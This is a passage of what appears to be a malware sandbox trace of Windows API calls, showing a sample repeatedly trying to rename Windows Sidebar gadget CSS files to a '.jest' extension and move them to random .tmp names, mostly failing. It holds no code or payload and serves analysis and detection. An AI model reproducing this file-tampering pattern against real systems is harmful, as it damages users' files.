lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iJ xpHcY0HdRp2ozBdwDZu69BkZcPfS-6Np2xiHVf4dSN1a8cVmk4kYs5VG2M9 KwSPZlOlFdExD7IQ1 AwH9FeskLvOeQOX_kyqi.tmp", lpFilePart=0x18e6e4*="iJ xpHcY0HdRp2ozBdwDZu69BkZcPfS-6Np2xiHVf4dSN1a8cVmk4kYs5VG2M9 KwSPZlOlFdExD7IQ1 AwH9FeskLvOeQOX_kyqi.tmp") returned 0x8f [0127.106] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iJ xpHcY0HdRp2ozBdwDZu69BkZcPfS-6Np2xiHVf4dSN1a8cVmk4kYs5VG2M9 KwSPZlOlFdExD7IQ1 AwH9FeskLvOeQOX_kyqi.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x78204a69, cFileName="pHcY0HdRp2ozBdwDZu69BkZcPfS-6Np2xiHVf4dSN1a8cVmk4kYs5VG2M9 KwSPZlOlFdExD7IQ1 AwH9FeskLvOeQOX_kyqi.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.106] GetLastError () returned 0x2 [0127.106] GetLastError () returned 0x2 [0127.106] SetLastError (dwErrCode=0x2) [0127.107] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.107] GetTickCount () returned 0x1152388 [0127.107] GetTickCount () returned 0x1152388 [0127.107] CoFreeUnusedLibraries () [0127.107] GetTickCount () returned 0x1152388 [0127.107] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.107] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.107] GetTickCount () returned 0x1152388 [0127.107] IsWindowVisible (hWnd=0x30268) returned 0 [0127.107] Sleep (dwMilliseconds=0x0) [0127.108] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css.jest")) returned 0 [0127.108] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", lpFilePart=0x18e6d8*="flyout.css") returned 0x4d [0127.108] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x57, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 0x143ce48 [0127.108] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.109] VarBstrFromR4 (in: fltIn=0x4794457e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.98") returned 0x0 [0127.109] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.109] GetTickCount () returned 0x1152388 [0127.109] GetTickCount () returned 0x1152388 [0127.109] CoFreeUnusedLibraries () [0127.109] GetTickCount () returned 0x1152388 [0127.109] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.109] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.109] GetTickCount () returned 0x1152388 [0127.109] IsWindowVisible (hWnd=0x30268) returned 0 [0127.109] Sleep (dwMilliseconds=0x0) [0127.109] GetFullPathNameA (in: lpFileName="6wsvCIASH94RUIrFQylVjqdzba7pb6xhw_zhRcbEftDbWflxVvCGYz7xrj5ypV_7whfDStnLKvjg4TE7mnXmzGbEH PNCi8nw3I.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6wsvCIASH94RUIrFQylVjqdzba7pb6xhw_zhRcbEftDbWflxVvCGYz7xrj5ypV_7whfDStnLKvjg4TE7mnXmzGbEH PNCi8nw3I.tmp", lpFilePart=0x18e708*="6wsvCIASH94RUIrFQylVjqdzba7pb6xhw_zhRcbEftDbWflxVvCGYz7xrj5ypV_7whfDStnLKvjg4TE7mnXmzGbEH PNCi8nw3I.tmp") returned 0x8d [0127.110] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", lpFilePart=0x18e708*="flyout.css") returned 0x4d [0127.110] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6wsvCIASH94RUIrFQylVjqdzba7pb6xhw_zhRcbEftDbWflxVvCGYz7xrj5ypV_7whfDStnLKvjg4TE7mnXmzGbEH PNCi8nw3I.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6wsvciash94ruirfqylvjqdzba7pb6xhw_zhrcbeftdbwflxvvcgyz7xrj5ypv_7whfdstnlkvjg4te7mnxmzgbeh pnci8nw3i.tmp")) returned 0 [0127.110] GetLastError () returned 0x5 [0127.110] GetLastError () returned 0x5 [0127.110] SetLastError (dwErrCode=0x5) [0127.110] GetLastError () returned 0x5 [0127.110] SetLastError (dwErrCode=0x5) [0127.110] GetLastError () returned 0x5 [0127.110] SetLastError (dwErrCode=0x5) [0127.111] GetFullPathNameA (in: lpFileName="6wsvCIASH94RUIrFQylVjqdzba7pb6xhw_zhRcbEftDbWflxVvCGYz7xrj5ypV_7whfDStnLKvjg4TE7mnXmzGbEH PNCi8nw3I.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6wsvCIASH94RUIrFQylVjqdzba7pb6xhw_zhRcbEftDbWflxVvCGYz7xrj5ypV_7whfDStnLKvjg4TE7mnXmzGbEH PNCi8nw3I.tmp", lpFilePart=0x18e6e4*="6wsvCIASH94RUIrFQylVjqdzba7pb6xhw_zhRcbEftDbWflxVvCGYz7xrj5ypV_7whfDStnLKvjg4TE7mnXmzGbEH PNCi8nw3I.tmp") returned 0x8d [0127.111] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6wsvCIASH94RUIrFQylVjqdzba7pb6xhw_zhRcbEftDbWflxVvCGYz7xrj5ypV_7whfDStnLKvjg4TE7mnXmzGbEH PNCi8nw3I.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x76737736, cFileName="CIASH94RUIrFQylVjqdzba7pb6xhw_zhRcbEftDbWflxVvCGYz7xrj5ypV_7whfDStnLKvjg4TE7mnXmzGbEH PNCi8nw3I.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.111] GetLastError () returned 0x2 [0127.111] GetLastError () returned 0x2 [0127.111] SetLastError (dwErrCode=0x2) [0127.111] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.111] GetTickCount () returned 0x1152388 [0127.111] GetTickCount () returned 0x1152388 [0127.112] CoFreeUnusedLibraries () [0127.112] GetTickCount () returned 0x1152388 [0127.112] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.112] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.112] GetTickCount () returned 0x1152388 [0127.112] IsWindowVisible (hWnd=0x30268) returned 0 [0127.112] Sleep (dwMilliseconds=0x0) [0127.112] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css.jest")) returned 0 [0127.112] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", lpFilePart=0x18e6d8*="RSSFeeds.css") returned 0x55 [0127.112] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x57, dwReserved1=0x0, cFileName="RSSFeeds.css", cAlternateFileName="")) returned 0x143ce48 [0127.113] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.113] VarBstrFromR4 (in: fltIn=0x4794457e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.98") returned 0x0 [0127.113] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.113] GetTickCount () returned 0x1152388 [0127.113] GetTickCount () returned 0x1152388 [0127.113] CoFreeUnusedLibraries () [0127.113] GetTickCount () returned 0x1152388 [0127.113] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.113] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.114] GetTickCount () returned 0x1152388 [0127.114] IsWindowVisible (hWnd=0x30268) returned 0 [0127.114] Sleep (dwMilliseconds=0x0) [0127.114] GetFullPathNameA (in: lpFileName="1RHyUvWcPvH0GjU2jS1pE79rrdFYTAcIiD SEtebDdl3DZt2KP4ZsgkImOtQl4VZHFwkbZlxveL-Vs4bNM6uY4JH27PYzJnRm92iI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1RHyUvWcPvH0GjU2jS1pE79rrdFYTAcIiD SEtebDdl3DZt2KP4ZsgkImOtQl4VZHFwkbZlxveL-Vs4bNM6uY4JH27PYzJnRm92iI.tmp", lpFilePart=0x18e708*="1RHyUvWcPvH0GjU2jS1pE79rrdFYTAcIiD SEtebDdl3DZt2KP4ZsgkImOtQl4VZHFwkbZlxveL-Vs4bNM6uY4JH27PYzJnRm92iI.tmp") returned 0x8f [0127.114] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", lpFilePart=0x18e708*="RSSFeeds.css") returned 0x55 [0127.114] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1RHyUvWcPvH0GjU2jS1pE79rrdFYTAcIiD SEtebDdl3DZt2KP4ZsgkImOtQl4VZHFwkbZlxveL-Vs4bNM6uY4JH27PYzJnRm92iI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1rhyuvwcpvh0gju2js1pe79rrdfytaciid setebddl3dzt2kp4zsgkimotql4vzhfwkbzlxvel-vs4bnm6uy4jh27pyzjnrm92ii.tmp")) returned 0 [0127.115] GetLastError () returned 0x5 [0127.115] GetLastError () returned 0x5 [0127.115] SetLastError (dwErrCode=0x5) [0127.115] GetLastError () returned 0x5 [0127.115] SetLastError (dwErrCode=0x5) [0127.115] GetLastError () returned 0x5 [0127.115] SetLastError (dwErrCode=0x5) [0127.115] GetFullPathNameA (in: lpFileName="1RHyUvWcPvH0GjU2jS1pE79rrdFYTAcIiD SEtebDdl3DZt2KP4ZsgkImOtQl4VZHFwkbZlxveL-Vs4bNM6uY4JH27PYzJnRm92iI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1RHyUvWcPvH0GjU2jS1pE79rrdFYTAcIiD SEtebDdl3DZt2KP4ZsgkImOtQl4VZHFwkbZlxveL-Vs4bNM6uY4JH27PYzJnRm92iI.tmp", lpFilePart=0x18e6e4*="1RHyUvWcPvH0GjU2jS1pE79rrdFYTAcIiD SEtebDdl3DZt2KP4ZsgkImOtQl4VZHFwkbZlxveL-Vs4bNM6uY4JH27PYzJnRm92iI.tmp") returned 0x8f [0127.115] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1RHyUvWcPvH0GjU2jS1pE79rrdFYTAcIiD SEtebDdl3DZt2KP4ZsgkImOtQl4VZHFwkbZlxveL-Vs4bNM6uY4JH27PYzJnRm92iI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x79485231, cFileName="UvWcPvH0GjU2jS1pE79rrdFYTAcIiD SEtebDdl3DZt2KP4ZsgkImOtQl4VZHFwkbZlxveL-Vs4bNM6uY4JH27PYzJnRm92iI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.115] GetLastError () returned 0x2 [0127.115] GetLastError () returned 0x2 [0127.115] SetLastError (dwErrCode=0x2) [0127.116] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.116] GetTickCount () returned 0x1152388 [0127.116] GetTickCount () returned 0x1152388 [0127.116] CoFreeUnusedLibraries () [0127.116] GetTickCount () returned 0x1152388 [0127.116] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.116] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.116] GetTickCount () returned 0x1152388 [0127.116] IsWindowVisible (hWnd=0x30268) returned 0 [0127.116] Sleep (dwMilliseconds=0x0) [0127.116] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css.jest")) returned 0 [0127.117] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", lpFilePart=0x18e6d8*="RSSFeeds.css") returned 0x4f [0127.117] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x57, dwReserved1=0x0, cFileName="RSSFeeds.css", cAlternateFileName="")) returned 0x143ce48 [0127.117] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.118] VarBstrFromR4 (in: fltIn=0x47944580, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915") returned 0x0 [0127.118] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.118] GetTickCount () returned 0x1152398 [0127.118] GetTickCount () returned 0x1152398 [0127.119] CoFreeUnusedLibraries () [0127.119] GetTickCount () returned 0x1152398 [0127.119] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.119] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.119] GetTickCount () returned 0x1152398 [0127.119] IsWindowVisible (hWnd=0x30268) returned 0 [0127.120] Sleep (dwMilliseconds=0x0) [0127.123] GetFullPathNameA (in: lpFileName="geUEhimui4UX-FgLsRa-m14jJwh5j4vvyt9_3zjnkZAf-3Fa2Mq07D0v4PiusBfodJeXRMB3S5FhzZceONPlkVjGZHuGYPf3jurc.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\geUEhimui4UX-FgLsRa-m14jJwh5j4vvyt9_3zjnkZAf-3Fa2Mq07D0v4PiusBfodJeXRMB3S5FhzZceONPlkVjGZHuGYPf3jurc.tmp", lpFilePart=0x18e708*="geUEhimui4UX-FgLsRa-m14jJwh5j4vvyt9_3zjnkZAf-3Fa2Mq07D0v4PiusBfodJeXRMB3S5FhzZceONPlkVjGZHuGYPf3jurc.tmp") returned 0x8e [0127.124] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css", lpFilePart=0x18e708*="RSSFeeds.css") returned 0x4f [0127.124] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\geUEhimui4UX-FgLsRa-m14jJwh5j4vvyt9_3zjnkZAf-3Fa2Mq07D0v4PiusBfodJeXRMB3S5FhzZceONPlkVjGZHuGYPf3jurc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\geuehimui4ux-fglsra-m14jjwh5j4vvyt9_3zjnkzaf-3fa2mq07d0v4piusbfodjexrmb3s5fhzzceonplkvjgzhugypf3jurc.tmp")) returned 0 [0127.124] GetLastError () returned 0x5 [0127.124] GetLastError () returned 0x5 [0127.124] SetLastError (dwErrCode=0x5) [0127.124] GetLastError () returned 0x5 [0127.124] SetLastError (dwErrCode=0x5) [0127.124] GetLastError () returned 0x5 [0127.124] SetLastError (dwErrCode=0x5) [0127.125] GetFullPathNameA (in: lpFileName="geUEhimui4UX-FgLsRa-m14jJwh5j4vvyt9_3zjnkZAf-3Fa2Mq07D0v4PiusBfodJeXRMB3S5FhzZceONPlkVjGZHuGYPf3jurc.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\geUEhimui4UX-FgLsRa-m14jJwh5j4vvyt9_3zjnkZAf-3Fa2Mq07D0v4PiusBfodJeXRMB3S5FhzZceONPlkVjGZHuGYPf3jurc.tmp", lpFilePart=0x18e6e4*="geUEhimui4UX-FgLsRa-m14jJwh5j4vvyt9_3zjnkZAf-3Fa2Mq07D0v4PiusBfodJeXRMB3S5FhzZceONPlkVjGZHuGYPf3jurc.tmp") returned 0x8e [0127.125] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\geUEhimui4UX-FgLsRa-m14jJwh5j4vvyt9_3zjnkZAf-3Fa2Mq07D0v4PiusBfodJeXRMB3S5FhzZceONPlkVjGZHuGYPf3jurc.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x45556567, cFileName="himui4UX-FgLsRa-m14jJwh5j4vvyt9_3zjnkZAf-3Fa2Mq07D0v4PiusBfodJeXRMB3S5FhzZceONPlkVjGZHuGYPf3jurc.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.125] GetLastError () returned 0x2 [0127.125] GetLastError () returned 0x2 [0127.125] SetLastError (dwErrCode=0x2) [0127.125] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.125] GetTickCount () returned 0x1152398 [0127.125] GetTickCount () returned 0x1152398 [0127.126] CoFreeUnusedLibraries () [0127.126] GetTickCount () returned 0x1152398 [0127.126] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.126] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.126] GetTickCount () returned 0x1152398 [0127.126] IsWindowVisible (hWnd=0x30268) returned 0 [0127.126] Sleep (dwMilliseconds=0x0) [0127.138] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css.jest")) returned 0 [0127.139] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e6d8*="settings.css") returned 0x55 [0127.139] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x57, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0x143ce48 [0127.139] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.139] VarBstrFromR4 (in: fltIn=0x47944582, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.02") returned 0x0 [0127.140] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.140] GetTickCount () returned 0x11523a7 [0127.140] GetTickCount () returned 0x11523a7 [0127.140] CoFreeUnusedLibraries () [0127.140] GetTickCount () returned 0x11523a7 [0127.140] HeapFree 